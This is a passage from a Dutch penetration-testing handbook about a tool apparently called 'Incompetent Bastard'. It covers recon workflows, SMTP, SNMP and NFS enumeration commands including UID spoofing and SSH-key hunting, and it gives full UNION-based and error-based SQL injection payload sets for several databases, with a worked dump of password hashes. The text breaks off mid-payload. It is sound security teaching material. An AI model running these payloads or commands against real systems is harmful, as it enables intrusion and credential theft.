Een scan produceert bestanden. Nmap schrijft .nmap, .gnmap, en .xml. WhatWeb schrijft tekstrapporten. Wfuzz schrijft resultaten. Nuclei schrijft bevindingen. Al die bestanden belanden in subdirectories onder raw/:

raw/
  nmap/           # Nmap scan output
  recon/          # WhatWeb, wfuzz, nuclei, etc.
  local/          # Lokale configuratie (ifconfig, id, etc.)
  loot/           # Geexfiltreerde data per client-IP
  exploits/       # Exploit output
  tls/            # TLS scan resultaten
  debug/          # Debug output
  mirror/         # Website mirrors
  spider/         # Spider output
  route/          # Routing informatie
  tooling/        # Overige tool output

De Output viewer (/dashboard/outputs) indexeert al deze directories en presenteert de bestanden in een doorzoekbare interface.

Hoe de Output viewer werkt

De implementatie in output_view.py is elegant in haar eenvoud. Bij elk verzoek wordt de lijst van _ALLOWED_BASES doorzocht:

_ALLOWED_BASES = [
    Path("raw/local"),
    Path("raw/nmap"),
    Path("raw/recon"),
    Path("raw/loot"),
    Path("raw/exploits"),
    Path("raw/tls"),
    Path("raw/debug"),
    Path("raw/mirror"),
    Path("raw/spider"),
    Path("raw/route"),
    Path("raw/tooling"),
    Path("raw/wget"),
]

Alleen bestanden in deze directories worden getoond, en alleen bestanden met toegestane extensies:

_ALLOWED_SUFFIXES = {
    ".txt", ".nmap", ".gnmap", ".xml", ".csv", ".log",
    ".md", ".json", ".html", ".htm", ".conf", ".cfg",
    ".ini", ".yaml", ".yml"
}

Geen binaire bestanden, geen executables, geen willekeurige bestandstypes. En elk bestand wordt gelezen tot maximaal 120KB (_MAX_READ_BYTES = 120_000) – groot genoeg voor de meeste scanresultaten, klein genoeg om de browser niet te laten vastlopen op een nmap-scan van een /16 netwerk.

De path resolution bevat een expliciete check tegen path traversal:

def _resolve_output(output_id):
    rel = output_id.replace("__", "/")
    path = Path(rel)
    # ... existence check ...
    normalized = path.resolve()
    for base in _ALLOWED_BASES:
        if normalized.is_relative_to(base.resolve()):
            return normalized
    return None

Als het geresolvede pad niet binnen een van de toegestane bases valt, wordt None geretourneerd en krijg je een 404. Geen ../../etc/passwd hier.

Praktisch voorbeeld: een volledige recon-workflow

Laten we het allemaal samenvoegen in een praktisch voorbeeld. Je hebt een pentest-opdracht voor Acme Corp, met scope 10.1.2.0/24.

Stap 1: Passieve verkenning (buiten IB)

# Whois
whois acme-corp.com

# Certificate Transparency
curl -s "https://crt.sh/?q=%25.acme-corp.com&output=json" \
    | jq '.[].name_value' | sort -u

# theHarvester
theHarvester -d acme-corp.com -b all

Stap 2: Netwerkscan via de Task Runner

Open /dashboard/tasks, selecteer “Network scan (nmap)”: - Interface: tun0 (je VPN-interface) - Scan naam: acme-corp - Hosts: 10.1.2.0/24

Klik “Run”. IB start scan.sh met die parameters. Het script: 1. Maakt de directory-structuur aan (raw/nmap/, raw/recon/, etc.) 2. Logt je lokale configuratie 3. Draait een TCP-poortscan 4. Draait een UDP-poortscan 5. Converteert output naar CSV 6. Start een full scan op elke gevonden host (in screen-sessies) 7. Draait WhatWeb, Wfuzz, en Nuclei op elke host met HTTP

Stap 3: Resultaten doorzoeken

Na de scan, gebruik de search-taak: - Scan naam: acme-corp - Zoekterm: http

Je krijgt een lijst van alle hosts met webservers. Herhaal met ssh, ftp, smb, rdp, 3389, et cetera.

Stap 4: Resultaten bekijken in de Output viewer

Open /dashboard/outputs. Je ziet nu: - raw/nmap/acme-corp_quick_scan_tcp.nmap – TCP-scanresultaten - raw/nmap/acme-corp_quick_scan_udp.nmap – UDP-scanresultaten - raw/nmap/acme-corp_tcp-poorten.txt – Poorten in CSV - raw/nmap/acme-corp_tcp-versies.txt – Service-versies in CSV - raw/recon/whatweb-10.1.2.15:80.txt – WhatWeb voor elke host - raw/recon/wfuzz-10.1.2.15:80.txt – Wfuzz voor elke host - raw/recon/nuclei-10.1.2.15:80.txt – Nuclei voor elke host

Klik op een bestand om de inhoud te bekijken. Alles op een plek, doorzoekbaar, opgeslagen voor je rapport.

Stap 5: Gerichte vervolgstappen

Met de scanresultaten plan je je volgende acties: - WordPress gevonden? Open recon_wpscan uit de Command Library - FTP open? Start de ftp_anon-taak - SMTP? Open recon_smtp - SNMP? Open recon_snmp - NFS? Open recon_nfs

IB – De kracht van IB zit in de workflow: scan via de Task Runner, doorzoek resultaten met search, bekijk output in de Output viewer, en gebruik de Command Library voor vervolg- stappen. Alles vanuit een enkele browser.

Overige protocollen: de vergeten diensten

SMTP enumeratie: het e-mail verhoor

E-mailservers zijn als praatgrage portiers. Als je ze de juiste vragen stelt, vertellen ze je welke bewoners er in het gebouw wonen. SMTP heeft drie commando’s die hiervoor misbruikt kunnen worden: VRFY (verify), EXPN (expand), en RCPT TO.

# Handmatig via netcat
nc -nv TARGET_IP 25
# VRFY root
# VRFY admin
# VRFY postmaster

# EXPN voor mailinglijst-leden
# EXPN all-users

# RCPT TO als VRFY is uitgeschakeld
# MAIL FROM:<test@test.com>
# RCPT TO:<admin@target.com>    (250 = bestaat, 550 = niet)

VRFY vraagt aan de server: “Bestaat deze gebruiker?” De server antwoordt met 250 (ja) of 550 (nee). Het is alsof je bij een bedrijf belt en vraagt: “Werkt Jan Jansen bij u?” En de receptionist antwoordt eerlijk.

De meeste beheerders schakelen VRFY uit. De slimme beheerders schakelen ook EXPN uit. Maar RCPT TO – dat kun je niet uitzetten, want dat is hoe e-mail werkt. Je stuurt een mail naar een adres, en de server vertelt je of dat adres bestaat.

# Geautomatiseerd met smtp-user-enum
smtp-user-enum -M VRFY \
    -U /usr/share/seclists/Usernames/Names/names.txt \
    -t TARGET_IP

smtp-user-enum -M RCPT -U users.txt -D target.com -t TARGET_IP

smtp-user-enum -M EXPN -U users.txt -t TARGET_IP

Nmap SMTP scripts

Nmap heeft specifieke scripts voor SMTP-analyse:

# User enumeratie
nmap -p 25 --script smtp-enum-users TARGET_IP

# Beschikbare commando's
nmap -p 25 --script smtp-commands TARGET_IP

# Open relay check (kan de server mail relayen voor willekeurige afzenders?)
nmap -p 25 --script smtp-open-relay TARGET_IP

Een open relay is een SMTP-server die mail doorstuurt namens willekeurige afzenders. In de jaren negentig was dit normaal. Nu is het een teken dat iemand zijn mailserver heeft geconfigureerd in de jaren negentig en er sindsdien niet meer naar heeft omgekeken.

IB – Het command recon_smtp bevat handmatige SMTP- enumeratie, smtp-user-enum, en Nmap NSE scripts. De tips wijzen op de SMTP-poorten (25, 465, 587) en het feit dat als VRFY en EXPN zijn uitgeschakeld, RCPT TO altijd werkt.

SNMP: het protocol dat nooit had mogen bestaan

Simple Network Management Protocol. “Simple” in de zin van “simpel te misbruiken.” SNMP is ontworpen in een tijdperk waarin het internet bestond uit een paar universiteiten die elkaar vertrouwden. De authenticatie in SNMP v1 en v2c bestaat uit een “community string” – wat een deftig woord is voor een wachtwoord dat in plaintext over het netwerk wordt gestuurd.

En de meestgebruikte community strings? “public” voor leestoegang. “private” voor schrijftoegang.

Laat dat even tot je doordringen. Het protocol dat wordt gebruikt om routers, switches, servers, en printers te beheren – om ze te configureren, te monitoren, en zelfs te herstarten – gebruikt standaard het wachtwoord “public.” Het is alsof de beveiliging van een kerncentrale bestaat uit een deur met een slot waarvan de code “1234” is. En er hangt een bordje naast: “De code is 1234.”

# Community string brute force
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt \
    -i targets.txt

# Of met nmap
nmap -sU -p 161 --script snmp-brute TARGET_IP

SNMP Walk: de complete inventaris

Als je een geldige community string hebt gevonden (en dat heb je, want het is bijna altijd “public”), kun je een SNMP walk doen. Dat is het equivalent van het openen van elke lade en kast in een kantoor en alles fotograferen wat erin zit.

# Alles opvragen
snmpwalk -c public -v1 -t 10 TARGET_IP

Maar SNMP is georganiseerd in een hierarchische structuur van OIDs (Object Identifiers). Je kunt gericht informatie opvragen:

# Windows gebruikers
snmpwalk -c public -v1 TARGET_IP 1.3.6.1.4.1.77.1.2.25

# Draaiende processen
snmpwalk -c public -v1 TARGET_IP 1.3.6.1.2.1.25.4.2.1.2

# Open TCP poorten
snmpwalk -c public -v1 TARGET_IP 1.3.6.1.2.1.6.13.1.3

# Geinstalleerde software
snmpwalk -c public -v1 TARGET_IP 1.3.6.1.2.1.25.6.3.1.2

# Systeem beschrijving
snmpwalk -c public -v1 TARGET_IP 1.3.6.1.2.1.1.1

# Hostnaam
snmpwalk -c public -v1 TARGET_IP 1.3.6.1.2.1.1.5

# Network interfaces
snmpwalk -c public -v1 TARGET_IP 1.3.6.1.2.1.2.2.1.2

Kijk eens naar die lijst. Gebruikersnamen. Draaiende processen. Open poorten. Geinstalleerde software. Via een protocol dat authenticert met het woord “public.” Dit is geen kwetsbaarheid die je ontdekt – dit is een feature die je exploiteert.

snmp-check: alles in een keer

Voor wie geen zin heeft om OIDs te onthouden:

snmp-check TARGET_IP -c public

snmp-check vraagt alle relevante informatie op en presenteert het in een leesbaar formaat. Systeeminformatie, gebruikers, processen, poorten, shares, software – alles in een keer.

IB – Het command recon_snmp bevat community string brute force, SNMP walk met specifieke OIDs, en snmp-check. De tips benadrukken dat SNMP v1/v2c community strings in cleartext stuurt en dat “public” en “private” de meest voorkomende strings zijn. Neem dat mee in je rapport.

NFS: het netwerkbestandssysteem dat te veel deelt

Network File System is een protocol voor het delen van bestanden over een netwerk. Het stamt uit 1984 – het jaar van Orwell, en blijkbaar ook het jaar waarin niemand zich zorgen maakte over toegangscontrole.

NFS-exports kunnen zo worden geconfigureerd dat ze toegankelijk zijn voor specifieke hosts, maar in de praktijk staan ze vaak open voor iedereen. En “iedereen” omvat “de pentester die net je netwerk heeft gescand.”

# Ontdek NFS exports
nmap -sV -p 111 --script=rpcinfo TARGET_IP
nmap -p 111 --script nfs* TARGET_IP
showmount -e TARGET_IP

showmount -e is de sleutel. Het toont welke directories worden geexporteerd en naar wie. Als daar een * staat (iedereen), dan is het kerstmis.

NFS shares mounten

# Mount de share
mkdir /mnt/nfs
mount -o nolock TARGET_IP:/share /mnt/nfs

# Met specifieke NFS-versie (als versie 4 niet werkt)
mount -t nfs -o vers=3,nolock TARGET_IP:/share /mnt/nfs
mount -t nfs -o vers=2,nolock TARGET_IP:/share /mnt/nfs

Na het mounten kun je de bestanden gewoon benaderen alsof ze lokaal zijn:

# Zoek naar interessante bestanden
ls -la /mnt/nfs/
find /mnt/nfs/ -type f \
    -name "*.txt" -o -name "*.conf" -o -name "id_rsa" 2>/dev/null

Die id_rsa in het find-commando is geen toeval. SSH-private keys op NFS-shares komen vaker voor dan je zou denken. En met een private key heb je SSH-toegang zonder wachtwoord.

UID spoofing

NFS v3 vertrouwt op de client om de gebruikers-ID (UID) te rapporteren. Als je een bestand ziet dat eigendom is van UID 1000, kun je lokaal een gebruiker aanmaken met datzelfde UID en het bestand lezen:

# Als bestanden eigendom zijn van UID 1000
useradd -u 1000 fakeuser
su fakeuser
cat /mnt/nfs/secret.txt

Dit werkt tenzij root_squash is ingeschakeld – een instelling die voorkomt dat root op de client zich voordoet als root op de server. Maar als je no_root_squash ziet in de exports… dan ben je root. Op de server. Via een gemounte share.

# Check RPC services
rpcinfo -p TARGET_IP

IB – Het command recon_nfs bevat NFS-discovory via Nmap, showmount, mounting met verschillende versies, bestandsanalyse, UID spoofing, en rpcinfo. De tips over no_root_squash en /etc/exports zijn kritiek voor het begrijpen van het risico.

De moraal van het verhaal

Verkenning is niet glamoureus. Het is geen Hollywood-moment met groene tekst op een zwart scherm terwijl dramatische muziek speelt. Het is geduldig zoeken, methodisch documenteren, en verbanden leggen tussen losse stukjes informatie. Het is het lezen van DNS-records tot je ogen tranen. Het is het doorploegen van woordenlijsten die groter zijn dan de gemiddelde Tolstoj-roman.

Maar het is het fundament van alles wat volgt.

En wat de organisaties betreft die we testen: het fascinerende is niet dat ze kwetsbaar zijn. Kwetsbaarheden zijn onvermijdelijk in complexe systemen. Het fascinerende is hoeveel van die kwetsbaar- heden neer te voeren zijn op pure nalatigheid. Zone transfers die openstaan omdat niemand ze heeft uitgeschakeld. SNMP met “public” als community string omdat dat de standaard was en niemand hem heeft veranderd. NFS-exports naar de hele wereld omdat * minder typewerk is dan een specifiek IP-adres.

Het is niet dat deze organisaties niet weten dat ze dit moeten beveiligen. Ze hebben security policies. Ze hebben compliance frameworks. Ze hebben jaarlijkse awareness-trainingen waarin een consultant met een PowerPoint uitlegt waarom je niet op links in e-mails moet klikken. Maar als het aankomt op het daadwerkelijk configureren van hun systemen – het monotone, onzichtbare werk van het dichtdraaien van overbodige diensten en het veranderen van standaardwachtwoorden – dan is er ineens niemand thuis.

Dat is de waarde van een pentest. Niet het vinden van obscure zero-days of geavanceerde exploits. Maar het aantonen dat de voordeur al die tijd open heeft gestaan.

Referentietabel

Topic IB Command/Feature
OSINT recon_osint
DNS recon_dns
Fuzzing web_recon_fuzz
WordPress recon_wpscan
SMTP recon_smtp
SNMP recon_snmp
NFS recon_nfs
Scan workflow Task Runner
Resultaten Output viewer

SQL Injection

SQL Injection

De taal die we leerden wantrouwen

Er was een tijd — en het is nauwelijks vijftig jaar geleden, wat in de informatica neerkomt op de Middeleeuwen minus de pest — dat een man genaamd Edgar F. Codd bij IBM in San Jose zat en nadacht over een probleem dat iedereen irriteerde maar niemand echt wilde oplossen. Het was 1970. De Beatles vielen uit elkaar, Nixon was president, en bedrijfsdatabases waren een ramp van bijbelse proporties.

Databases bestonden uiteraard al. Maar ze werkten als een slechte bibliotheek: je moest precies weten in welke kast, op welke plank, achter welk boek je informatie lag. Verander de kast van plek, en al je programma’s braken. Het was alsof je elke keer dat de bibliothecaris een stoel verschoof, opnieuw moest leren lezen.

Codd had een idee dat zo elegant was dat zijn eigen werkgever het aanvankelijk negeerde — wat op zich al een teken is dat het briljant was. Hij stelde voor dat data georganiseerd moest worden in tabellen: rijen en kolommen, net als een keurig bijgehouden grootboek. En dat je een taal zou gebruiken om vragen te stellen aan die tabellen, zonder te hoeven weten hoe ze fysiek waren opgeslagen.

Stel je een enorme bibliotheek voor. Niet de Openbare Bibliotheek Amsterdam met haar gezellige chaos van kinderboeken naast filosofie, maar een perfecte, Platoonse bibliotheek. Elke boekenkast is een tabel. Elke plank is een rij. Elk boek heeft dezelfde structuur: auteur, titel, ISBN, publicatiejaar. Je hoeft niet te weten of de planken van eikenhout of MDF zijn. Je hoeft niet te weten of ze op de eerste of vijfde verdieping staan. Je zegt simpelweg: “Geef me alle boeken van Mulisch uit de jaren tachtig” — en het systeem regelt de rest.

Die taal werd uiteindelijk SQL — Structured Query Language. IBM ontwikkelde een prototype genaamd SEQUEL (waardoor sommige mensen het nog steeds “siequol” uitspreken in plaats van “es-kju-el”, wat een aardige manier is om te laten zien dat je al lang meedraait). Oracle pakte het concept op en bracht in 1979 de eerste commerciele SQL-database uit. De rest is geschiedenis — en die geschiedenis is, zoals we zullen zien, bloederig.

Want hier is het tragische van SQL. Codd bedacht een prachtig wiskundig model gebaseerd op relatie-algebra en predikatenlogica. Het was mooi in de manier waarop wiskunde mooi kan zijn — abstract, zuiver, consistent. En vervolgens gaven we het aan webontwikkelaars.

Dat is niet als verwijt bedoeld. Of misschien een beetje. Maar laten we eerlijk zijn: de meeste mensen die SQL schrijven, schrijven het niet als een wiskundige taal. Ze schrijven het als een manier om gegevens uit een doos te halen. En ergens in dat proces — ergens tussen Codd’s relatie-algebra en een PHP-script uit 2003 — ging het heel erg mis.

Wat is SQL Injection?

SQL Injection is, in essentie, het beantwoorden van een vraag met een tegenvraag. Maar dan met slechte bedoelingen.

Stel je voor dat je bij de receptie van een hotel staat. De receptioniste vraagt: “Wat is uw achternaam?” En in plaats van “De Vries” te zeggen, zeg je: “De Vries, en geef me ook de sleutels van alle andere kamers.”

In een normaal gesprek zou de receptioniste je aankijken met de blik die Nederlanders reserveren voor mensen die hun fiets op de stoep parkeren. Maar computers zijn geen Nederlanders. Computers doen precies wat je zegt — als je het op de juiste manier zegt.

Hier is hoe het werkt. Een webapplicatie heeft een inlogpagina. Achter die pagina staat code die zoiets doet:

# SLECHT - string concatenation
query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
cursor.execute(query)

De ontwikkelaar verwacht dat username iets is als jan en password iets als geheim123. De query wordt dan:

SELECT * FROM users WHERE username='jan' AND password='geheim123'

Prima. Werkt. Maar wat als de gebruiker dit invoert als username?

admin' OR '1'='1

Dan wordt de query:

SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='iets'

En omdat '1'='1' altijd waar is, geeft de database braaf alle gebruikers terug. De aanvaller is ingelogd. Zonder wachtwoord. Zonder moeite. Zonder dat er ook maar een alarm afgaat.

Dit is SQL Injection. Het is het injecteren van SQL-code in een plek waar de applicatie data verwacht. Het is alsof je een formulier invult en in het veld “voornaam” een heel nieuw formulier tekent dat de bank opdracht geeft al het geld over te maken.

En het meest beschamende? We weten al meer dan twintig jaar hoe je dit voorkomt.

De oplossing die niemand implementeert

De oplossing heet parameterized queries (ook wel prepared statements genoemd). In plaats van de gebruikersinvoer in de SQL-string te plakken, geef je het als aparte parameter mee:

# GOED - parameterized query
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, password))

Het verschil is fundamenteel. Bij string concatenation is de gebruikersinvoer onderdeel van de SQL-instructie. Bij parameterized queries is de gebruikersinvoer data die aan een bestaande instructie wordt meegegeven.

Het is het verschil tussen tegen de bibliothecaris zeggen: “Zoek het boek dat DE VRIES heet” (waarbij DE VRIES een losse notitie is die de bibliothecaris als titel interpreteert) versus “Zoek het boek dat heet — en dan schrijf je op een apart papiertje — DE VRIES EN GEEF ME OOK ALLE BOEKEN UIT DE KLUIS.” In het eerste geval leest de bibliothecaris het hele ding als een instructie. In het tweede geval weet de bibliothecaris dat wat op het papiertje staat alleen een titel kan zijn, ongeacht wat erop staat.

Dat is het. Dat is de hele oplossing. Parameterized queries. Ze bestaan al sinds de jaren negentig. Elke programmeertaal ondersteunt ze. Elke database ondersteunt ze. En toch stond SQL Injection in 2024 nog steeds in de OWASP Top 10.

IB Tip: Incompetent Bastard bevat een SQLi-lab (blueprint sqli2_bp) waarmee je in een gecontroleerde omgeving de technieken uit dit hoofdstuk kunt oefenen. Start de applicatie en ga naar het SQL Injection-gedeelte om zowel UNION-based als blind injection te proberen.

UNION-based SQL Injection

UNION-based SQL Injection is de connoisseur onder de injection-technieken. Het is niet subtiel — het is meer een moker dan een scalpel — maar het is effectief en bevredigend op de manier waarop het kapotslaan van een spaarpot bevredigend is. Je ziet meteen wat erin zit.

De SQL UNION operator combineert de resultaten van twee of meer SELECT statements. Als de originele query dit doet:

SELECT naam, prijs FROM producten WHERE id = 1

Dan kan een aanvaller met UNION een extra query eraan plakken:

SELECT naam, prijs FROM producten WHERE id = 1
UNION
SELECT username, password FROM users

En de database geeft braaf de productnaam en alle gebruikersnamen en wachtwoorden terug. In dezelfde tabel. Naast elkaar. Als een ober die je hoofdgerecht serveert met daarbovenop de complete boekhouding van het restaurant.

Maar er is een vereiste: de twee SELECT statements moeten hetzelfde aantal kolommen retourneren, en de datatypes moeten compatibel zijn. Je kunt geen drie kolommen combineren met twee. Dat is als proberen een vierkante pin in een rond gat te stoppen — de database weigert.

Stap 1: Aantal kolommen bepalen

Voordat je kunt UNION-en, moet je weten hoeveel kolommen de originele query retourneert. Er zijn twee methoden.

Methode 1: ORDER BY

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' ORDER BY 4-- -   -- als hier een error komt: 3 kolommen

ORDER BY 1 sorteert op de eerste kolom. ORDER BY 2 op de tweede. Je verhoogt tot je een foutmelding krijgt. De vorige waarde is het juiste aantal kolommen.

Methode 2: UNION SELECT NULL

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL,NULL-- -   -- geen error? 4 kolommen

NULL is compatibel met elk datatype, dus je hoeft je geen zorgen te maken over type-mismatches. Je begint met een NULL en voegt er steeds eentje toe tot de error verdwijnt.

IB Tip: De -- - aan het einde is een SQL-comment. Het streepje- streepje-spatie (of -- - voor de zekerheid) zorgt ervoor dat de rest van de originele query wordt genegeerd. In MySQL werkt ook # als comment-teken.

Stap 2: Zichtbare kolommen vinden

Niet alle kolommen verschijnen zichtbaar op de pagina. Je moet weten welke kolommen daadwerkelijk worden weergegeven. Vervang de NULLs door herkenbare waarden:

' UNION SELECT 'a','b','c',4-- -

Als je op de pagina de letter b ziet verschijnen, weet je dat kolom 2 zichtbaar is. Dat is de kolom waar je je data doorheen gaat sluizen.

Stap 3: Data extraheren

Nu begint het echte werk. Je wilt weten welke tabellen er zijn, welke kolommen die tabellen hebben, en vervolgens wil je de data zelf.

MySQL / MariaDB

-- Alle tabellen in de huidige database
' UNION SELECT 1,group_concat(table_name),3,4
  FROM information_schema.tables
  WHERE table_schema=database()-- -

-- Kolommen van de tabel 'users'
' UNION SELECT 1,group_concat(column_name),3,4
  FROM information_schema.columns
  WHERE table_name='users'-- -

-- Gebruikersnamen en wachtwoorden
' UNION SELECT 1,username,password,4 FROM users-- -

De functie group_concat() is je beste vriend hier. Het plakt alle resultaten aan elkaar met komma’s ertussen, zodat je alles in een keer ziet in die ene zichtbare kolom.

IB Tip: Bij MariaDB kun je soms een “Illegal mix of collations” error krijgen. De fix: voeg COLLATE utf8mb4_general_ci toe na het veld. Bijvoorbeeld: group_concat(table_name COLLATE utf8mb4_general_ci)

PostgreSQL

PostgreSQL heeft group_concat() niet, maar gebruikt string_agg():

-- Alle tabellen in het public schema
' UNION SELECT 1,string_agg(table_name,','),3,4
  FROM information_schema.tables
  WHERE table_schema='public'-- -

-- Data ophalen
' UNION SELECT 1,username,password,4 FROM users-- -

MSSQL

Microsoft SQL Server is een beest apart. Het gebruikt sysobjects en syscolumns in plaats van (of naast) information_schema:

-- Alle tabellen
' UNION SELECT 1,name,3,4
  FROM sysobjects WHERE xtype='U'-- -

-- Kolommen van 'users'
' UNION SELECT 1,name,3,4
  FROM syscolumns
  WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -

Oracle

Oracle is de excentrieke oom die op elk familiefeest aandacht vraagt. Elke SELECT moet een FROM clause hebben, zelfs als je niets uit een tabel haalt:

-- Alle tabellen van een schema
' UNION SELECT NULL,table_name,NULL
  FROM all_tables WHERE owner='SCHEMA'-- -

-- "Ik wil gewoon een constante waarde"
SELECT 1,2 FROM dual
-- (dual is Oracle's speciale "doe alsof" tabel)

Het IB command file: web_sqli_union

Incompetent Bastard heeft dit alles samengevat in een command file die je via het dashboard kunt laden. Hier is de volledige inhoud:

# SQL Injection - UNION-Based (meerdere databases)
# Stap 1: Aantal kolommen bepalen
' ORDER BY 1-- -
' ORDER BY 2-- -
# (verhoog tot error -> vorige = juiste aantal)
# Of met NULL:
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
# Stap 2: Zichtbare kolommen vinden
' UNION SELECT 'a','b','c',4-- -
# === MySQL / MariaDB ===
' UNION SELECT 1,group_concat(table_name),3,4
  FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT 1,group_concat(column_name),3,4
  FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1,username,password,4 FROM users-- -
# Collation fix (MariaDB): ... COLLATE utf8mb4_general_ci FROM ...
# === PostgreSQL ===
' UNION SELECT 1,string_agg(table_name,','),3,4
  FROM information_schema.tables WHERE table_schema='public'-- -
' UNION SELECT 1,username,password,4 FROM users-- -
# === MSSQL ===
' UNION SELECT 1,name,3,4
  FROM sysobjects WHERE xtype='U'-- -
' UNION SELECT 1,name,3,4
  FROM syscolumns
  WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -
# === Oracle ===
' UNION SELECT NULL,table_name,NULL
  FROM all_tables WHERE owner='SCHEMA'-- -
# Tip: Oracle vereist FROM in elke SELECT: UNION SELECT 1,2 FROM dual

Dit bestand is je spiekbriefje. Elke keer dat je voor een webapplicatie zit en je vermoedt dat er SQLi mogelijk is, begin je hier. Van boven naar beneden. Systematisch. Zoals een volwassen mens dat doet.

Werkend voorbeeld: stap voor stap

Laten we een compleet voorbeeld doorlopen. We hebben een webshop met een URL als:

http://shop.local/product?id=3

De pagina toont een productnaam, prijs en beschrijving. We vermoeden SQLi.

Stap 1: Bevestig de kwetsbaarheid

http://shop.local/product?id=3'

Als je een SQL-error ziet (of de pagina breekt), is er waarschijnlijk SQLi.

Stap 2: Bepaal het aantal kolommen

http://shop.local/product?id=3' ORDER BY 1-- -   (OK)
http://shop.local/product?id=3' ORDER BY 2-- -   (OK)
http://shop.local/product?id=3' ORDER BY 3-- -   (OK)
http://shop.local/product?id=3' ORDER BY 4-- -   (ERROR)

Drie kolommen dus.

Stap 3: Vind zichtbare kolommen

http://shop.local/product?id=3' UNION SELECT 'AAA','BBB','CCC'-- -

Op de pagina zien we: productnaam = “BBB”, beschrijving = “CCC”. Kolommen 2 en 3 zijn zichtbaar.

Stap 4: Database-versie ophalen

http://shop.local/product?id=3' UNION SELECT 1,version(),3-- -

Output: 10.5.12-MariaDB — het is MariaDB.

Stap 5: Tabellen enumereren

http://shop.local/product?id=3' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -

Output: products,users,orders,sessions

Stap 6: Kolommen van ‘users’ bekijken

http://shop.local/product?id=3' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -

Output: id,username,password,email,role

Stap 7: Data dumpen

http://shop.local/product?id=3' UNION SELECT 1,group_concat(username,':',password),3 FROM users-- -

Output: admin:$2b$12$LJ3m4ys...,user1:$2b$12$xK9p2...

En daar zijn je bcrypt-hashes. Klaar om naar hashcat te sturen.

IB Tip: Gebruik group_concat(username,0x3a,password) als de applicatie de dubbele punt filtert. 0x3a is de hexadecimale representatie van : en wordt door de meeste filters niet herkend.

Error-based SQL Injection

Als UNION-based de moker is, dan is error-based SQL Injection de spreekkamer-truc. Je maakt expres een fout — een heel specifieke fout — en in de foutmelding die de database teruggeeft, zit de data die je zoekt.

Het is alsof je in een bibliotheek een boek opvraagt dat niet bestaat, en de bibliothecaris in zijn foutmelding per ongeluk zegt: “Dat boek hebben we niet, maar ik kan u vertellen dat het wachtwoord van de directeur ‘Welkom01’ is.”

De truc is dat bepaalde SQL-functies foutmeldingen genereren die de waarde bevatten die je probeert te evalueren. Je misbruikt het foutmechanisme als communicatiekanaal.

MySQL: EXTRACTVALUE en UPDATEXML

-- Database-versie via EXTRACTVALUE
' AND extractvalue('',concat('>',version()))-- -

Dit probeert een XPath-expressie te evalueren op een XML-document (dat leeg is). Dat mislukt, en de foutmelding bevat de versie:

XPATH syntax error: '>10.5.12-MariaDB'

Bingo. En nu alle tabellen:

' AND extractvalue('',concat('>',(SELECT group_concat(table_name)
  FROM information_schema.tables
  WHERE table_schema=database())))-- -

Foutmelding:

XPATH syntax error: '>products,users,orders,sessions'

UPDATEXML werkt op dezelfde manier:

' AND updatexml(1,concat('>',version()),1)-- -

MySQL: Double Query (Floor)

Er is een oudere, elegantere methode die gebruik maakt van rand() en floor():

' AND (SELECT 1 FROM (SELECT count(*),
  concat(version(),floor(rand(0)*2))x
  FROM information_schema.tables
  GROUP BY x)a)-- -

Dit veroorzaakt een “Duplicate entry” error die de versie bevat:

Duplicate entry '10.5.12-MariaDB1' for key 'group_key'

Het is niet de meest leesbare SQL ter wereld, maar het werkt al sinds MySQL 4.x.

MSSQL: CONVERT

MSSQL heeft geen EXTRACTVALUE, maar je kunt de CONVERT functie misbruiken:

' AND 1=CONVERT(int,@@version)-- -

MSSQL probeert de versiestring naar een integer te converteren, faalt, en geeft de versie terug in de foutmelding:

Conversion failed when converting the nvarchar value
'Microsoft SQL Server 2019 (RTM) - 15.0.2000.5...' to data type int.

Hetzelfde principe, andere functie:

-- Eerste tabel ophalen
' AND 1=CONVERT(int,(SELECT TOP 1 table_name
  FROM information_schema.tables))-- -

-- Eerste gebruikersnaam
' AND 1=CONVERT(int,(SELECT TOP 1 username FROM users))-- -

PostgreSQL: CAST

PostgreSQL werkt vergelijkbaar met CONVERT, via CAST:

' AND 1=CAST(version() AS int)-- -

-- Alle tabellen
' AND 1=CAST((SELECT string_agg(table_name,',')
  FROM information_schema.tables
  WHERE table_schema='public') AS int)-- -

Oracle

Oracle heeft zijn eigen exotische opties:

-- Via CTXSYS
' AND 1=CTXSYS.DRITHSX.SN(1,
  (SELECT banner FROM v$version WHERE ROWNUM=1))-- -

-- Via UTL_INADDR
' AND 1=UTL_INADDR.GET_HOST_NAME(
  (SELECT user FROM dual))-- -

Het IB command file: web_sqli_error

Het volledige command file in Incompetent Bastard:

# SQL Injection - Error-Based (data via foutmeldingen)
# === MySQL ===
# ExtractValue:
' AND extractvalue('',concat('>',version()))-- -
' AND extractvalue('',concat('>',(SELECT group_concat(table_name)
  FROM information_schema.tables
  WHERE table_schema=database())))-- -
# UpdateXML:
' AND updatexml(1,concat('>',version()),1)-- -
# Double query:
' AND (SELECT 1 FROM (SELECT count(*),
  concat(version(),floor(rand(0)*2))x
  FROM information_schema.tables GROUP BY x)a)-- -
# === MSSQL ===
# Cast error:
' AND 1=CONVERT(int,@@version)-- -
' AND 1=CONVERT(int,(SELECT TOP 1 table_name
  FROM information_schema.tables))-- -
' AND 1=CONVERT(int,(SELECT TOP 1 username FROM users))-- -
# === Oracle ===
# CTXSYS.DRITHSX.SN:
' AND 1=CTXSYS.DRITHSX.SN(1,
  (SELECT banner FROM v$version WHERE ROWNUM=1))-- -
# UTL_INADDR.GET_HOST_NAME:
' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT user FROM dual))-- -
# === PostgreSQL ===
# Cast error:
' AND 1=CAST(version() AS int)-- -
' AND 1=CAST((SELECT string_agg(table_name,',')
  FROM information_schema.tables
